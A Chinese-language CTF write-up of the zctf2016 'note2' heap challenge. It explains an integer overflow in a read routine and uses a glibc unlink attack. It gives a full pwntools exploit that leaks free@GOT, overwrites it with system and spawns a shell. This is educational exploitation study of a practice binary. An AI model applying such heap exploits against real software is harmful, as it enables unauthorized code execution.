安全措施
[*] '/mnt/e/Security/pwn/heap/unlink/examples/zctf2016_note2/note2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'/home/pwwwn/glibc-all-in-one/2.23-0ubuntu11.3_amd64'
没开PIE,地址可以直接用
运行程序
菜单题
Input your name:
/bin/sh
Input your address:
/bin/sh
1.New note
2.Show note
3.Edit note
4.Delete note
5.Quit
option--->>
静态分析
在IDA中反编译查看,主函数没有问题:
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(0x3Cu);
puts("Input your name:");
readuntil(&name, 64LL, 10LL);
puts("Input your address:");
readuntil(&address, 96LL, 10LL);
while ( 1 )
{
switch ( (unsigned int)menu() )
{
case 1u:
add();
break;
case 2u:
show();
break;
case 3u:
edit();
break;
case 4u:
delete();
break;
case 5u:
puts("Bye~");
exit(0);
case 6u:
exit(0);
default:
continue;
}
}
}
readuntil
函数存在整数溢出漏洞,将int
和unsigned
进行比较。如果length
为0
,-1
在与unsigned
进行比较时会进行强制类型转换,会变成一个极大的整数,从而绕过输入的限制,产生溢出:
unsigned __int64 __fastcall recvuntil(__int64 str, __int64 length, char end)
{
char buf; // [rsp+2Fh] [rbp-11h] BYREF
unsigned __int64 i; // [rsp+30h] [rbp-10h]
ssize_t num; // [rsp+38h] [rbp-8h]
for ( i = 0LL; length - 1 > i; ++i ) // 整数溢出
{
num = read(0, &buf, 1uLL);
if ( num <= 0 )
exit(-1);
if ( buf == end )
break;
*(_BYTE *)(i + str) = buf;
}
*(_BYTE *)(str + i) = 0;
return i;
}
在add
函数里面,readuntil
的length
参数是从输入获取的,因此可以进行控制:
int add()
{
unsigned int idx; // eax
unsigned int size; // [rsp+4h] [rbp-Ch]
const char *note; // [rsp+8h] [rbp-8h]
if ( (unsigned int)count > 3 )
return puts("note lists are full");
puts("Input the length of the note content:(less than 128)");
size = readNum();
if ( size > 0x80 )
return puts("Too long");
note = (const char *)malloc(size);
puts("Input the note content:");
readuntil((__int64)note, size, 10); // vulnerable
strip(note);
*(¬e_list + (unsigned int)count) = (void *)note;
size_list[count] = size;
idx = count++;
return printf("note add success, the id is %d\n", idx);
}
漏洞利用
先实现菜单的几个基本操作的编写:
def itob(num):
return str(num).encode()
def init(name, address):
io.recvuntil(b'name:')
io.sendline(name)
io.recvuntil(b'address:')
io.sendline(address)
def menu(option):
io.sendlineafter(b'>>', itob(option))
def add(size, content):
menu(1)
io.recvuntil(b'(less than 128)')
io.sendline(itob(size))
io.recvuntil(b'content:')
io.sendline(content)
io.recvuntil(b'the id is ')
idx = int(io.recvline(keepends=False))
return idx
def show(idx):
menu(2)
io.recvuntil(b'note:')
io.sendline(itob(idx))
io.recvuntil(b'Content is ')
content = io.recvline(keepends=False)
return content
def edit(idx, option, content):
menu(3)
io.recvuntil(b'note:')
io.sendline(itob(idx))
io.recvuntil(b']')
io.sendline(itob(option))
io.recvuntil(b'Contents:')
io.sendline(content)
io.recvline()
def delete(idx):
menu(4)
io.recvuntil(b'note:')
io.sendline(itob(idx))
io.recvline()
def quit():
io.sendline(b'5')
因为地址是固定的,一开始输入name
和address
时可以直接输入/bin/sh
,方便后续利用时直接传入该地址获取shell。这里我用了name
的地址。
init(b'/bin/sh', b'/bin/sh')
name_addr = 0x00000000006020E0
malloc
申请0x0
大小的堆块时,实际会得到一个0x20
大小的堆块用于容纳堆信息,该堆块属于fastbin
,因此释放该堆块,重新申请时会得到同样位置的堆块。于是在利用时,就可以把它申请在要覆盖的堆块之前,然后释放,再申请,进行溢出。
这里利用 unlink 后向合并,申请3个chunk,第1个chunk中伪造一个fakechunk,第2个chunk作为fastbin用于覆盖第3个chunk的header部分实现unlink:
chunk_array_addr = 0x0000000000602120
name_addr = 0x00000000006020E0
malloc_size = 0x80
fd = chunk_array_addr - 0x18
bk = chunk_array_addr - 0x10
payload = pack(0) + pack(malloc_size + 0x20) + pack(fd) + pack(bk) + pack(0)
add(malloc_size, payload)
add(0x0, b'\0'*0x8)
add(malloc_size, cyclic(0x10))
释放第2个chunk,再次申请,覆盖第3个chunk,创造unlink条件:
delete(1)
payload = b'a'*0x10 + pack(malloc_size + 0x20) + pack(malloc_size + 0x10)
add(0, payload)
释放第3个chunk,触发unlink,获得任意地址写权限:
delete(2)
因为edit
函数用字符串操作实现,里面不能有NUL字符,所以只能每次控制一个地址。
首先控制到指向第2个chunk的指针数组元素:
payload = b'a'*0x18 + pack(chunk_array_addr + 0x10)
edit(0, 1, payload)
然后把它指向free
的got
表,通过show
泄露它的地址:
free_got = file.got['free']
payload = pack(free_got)
edit(0, 1, payload)
free_addr = unpack(show(2).ljust(0x8, b'\0'))
log.success("leak free@got addr: " + hex(free_addr))
由此算出libc
基址,得到system
函数地址,然后把前面的free
的got
表指向system
:
libc_base = free_addr - libc.symbols['free']
system_addr = libc_base + libc.symbols['system']
payload = pack(system_addr)
edit(2, 1, payload)
让指针数组第2个元素指向一开始的name
的地址,也就是保存/bin/sh
的地址:
payload = pack(name_addr)
edit(0, 1, payload)
释放该这个元素,取得shell:
delete(2)
最终exp如下:
from pwn import *
debug = True
local_path = './note2'
remote_path = ''
remote_port = 8080
file = ELF(local_path)
libc = file.libc
context.binary = local_path
if debug:
io = process(local_path)
# context.terminal = ['cmd.exe', '/c', 'wt.exe', '-w', '0','sp', '-V', '--title', 'gdb', 'bash', '-c']
context.terminal = ['cmd.exe', '/c', 'wt.exe', 'bash', '-c']
context.log_level = 'debug'
else:
io = remote(remote_path, remote_port)
def itob(num):
return str(num).encode()
def init(name, address):
io.recvuntil(b'name:')
io.sendline(name)
io.recvuntil(b'address:')
io.sendline(address)
def menu(option):
io.sendlineafter(b'>>', itob(option))
def add(size, content):
menu(1)
io.recvuntil(b'(less than 128)')
io.sendline(itob(size))
io.recvuntil(b'content:')
io.sendline(content)
io.recvuntil(b'the id is ')
idx = int(io.recvline(keepends=False))
return idx
def show(idx):
menu(2)
io.recvuntil(b'note:')
io.sendline(itob(idx))
io.recvuntil(b'Content is ')
content = io.recvline(keepends=False)
return content
def edit(idx, option, content):
menu(3)
io.recvuntil(b'note:')
io.sendline(itob(idx))
io.recvuntil(b']')
io.sendline(itob(option))
io.recvuntil(b'Contents:')
io.sendline(content)
io.recvline()
def delete(idx):
menu(4)
io.recvuntil(b'note:')
io.sendline(itob(idx))
io.recvline()
def quit():
io.sendline(b'5')
def exp():
init(b'/bin/sh', b'/bin/sh')
chunk_array_addr = 0x0000000000602120
name_addr = 0x00000000006020E0
malloc_size = 0x80
fd = chunk_array_addr - 0x18
bk = chunk_array_addr - 0x10
payload = pack(0) + pack(malloc_size + 0x20) + pack(fd) + pack(bk) + pack(0)
add(malloc_size, payload)
add(0x0, b'\0'*0x8)
add(malloc_size, cyclic(0x10))
delete(1)
payload = b'a'*0x10 + pack(malloc_size + 0x20) + pack(malloc_size + 0x10)
add(0, payload)
delete(2)
free_got = file.got['free']
payload = b'a'*0x18 + pack(chunk_array_addr + 0x10)
edit(0, 1, payload)
payload = pack(free_got)
edit(0, 1, payload)
free_addr = unpack(show(2).ljust(0x8, b'\0'))
log.success("leak free@got addr: " + hex(free_addr))
libc_base = free_addr - libc.symbols['free']
system_addr = libc_base + libc.symbols['system']
payload = pack(system_addr)
edit(2, 1, payload)
payload = pack(name_addr)
edit(0, 1, payload)
delete(2)
io.interactive()
if __name__=='__main__':
exp()